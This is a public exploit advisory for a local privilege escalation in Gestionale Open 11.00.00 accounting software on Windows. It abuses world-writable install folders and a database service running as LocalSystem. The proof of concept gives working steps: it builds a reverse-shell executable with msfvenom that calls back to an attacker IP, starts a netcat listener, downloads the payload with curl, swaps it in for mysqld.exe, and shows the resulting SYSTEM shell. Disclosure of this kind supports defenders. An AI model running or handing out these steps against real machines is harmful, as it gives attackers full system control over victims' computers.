358c35770a
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2.7 KiB
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80 lines
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2.7 KiB
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# Exploit Title: Gestionale Open 11.00.00 - Local Privilege Escalation
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# Date: 2021-07-19
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# Author: Alessandro 'mindsflee' Salzano
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# Vendor Homepage: https://www.gestionaleopen.org/
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# Software Homepage: https://www.gestionaleopen.org/
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# Software Link: https://www.gestionaleopen.org/wp-content/uploads/downloads/ESEGUIBILI_STANDARD/setup_go_1101.exe
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# Version: 11.00.00
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# Tested on: Microsoft Windows 10 Enterprise x64
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With GO - Gestionale Open - it is possible to manage, check and print every aspect of accounting according to the provisions of Italian taxation.
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Vendor: Gestionale Open srl.
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Affected version: > 11.00.00
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# Details
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# By default the Authenticated Users group has the modify permission to Gestionale Open folders/files as shown below.
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# A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
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# with a malicious file that would connect back to an attacking computer giving system level privileges
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# (nt authority\system) due to the service running as Local System.
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# While a low privilege user is unable to restart the service through the application, a restart of the
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# computer triggers the execution of the malicious file.
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The application also have unquoted service path issues.
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(1) Impacted services.
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Any low privileged user can elevate their privileges abusing MariaDB service:
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C:\Gestionale_Open\MySQL57\bin\mysqld.exe
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Details:
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SERVICE_NAME: DB_GO
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TYPE : 10 WIN32_OWN_PROCESS
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : C:\Gestionale_Open\MySQL57\bin\mysqld.exe --defaults-file=C:\Gestionale_Open\MySQL57\my.ini DB_GO
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : DB_GO
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DEPENDENCIES :
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SERVICE_START_NAME : LocalSystem
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(2) Folder permissions.
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Insecure folders permissions issue:
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C:\Gestionale_Open Everyone:(I)(OI)(CI)(F)
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NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
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# Proof of Concept
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1. Generate malicious .exe on attacking machine
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msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe
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2. Setup listener and ensure apache is running on attacking machine
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nc -lvp 4242
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service apache2 start
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3. Download malicious .exe on victim machine
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type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Gestionale_Open\MySQL57\bin\mysqld_evil.exe"
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4. Overwrite file and copy malicious .exe.
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Renename C:\Gestionale_Open\MySQL57\bin\mysqld.exe > mysqld.bak
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Rename downloaded 'mysqld_evil.exe' file in mysqld.exe
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5. Restart victim machine
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6. Reverse Shell on attacking machine opens
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C:\Windows\system32>whoami
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whoami
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nt authority\system |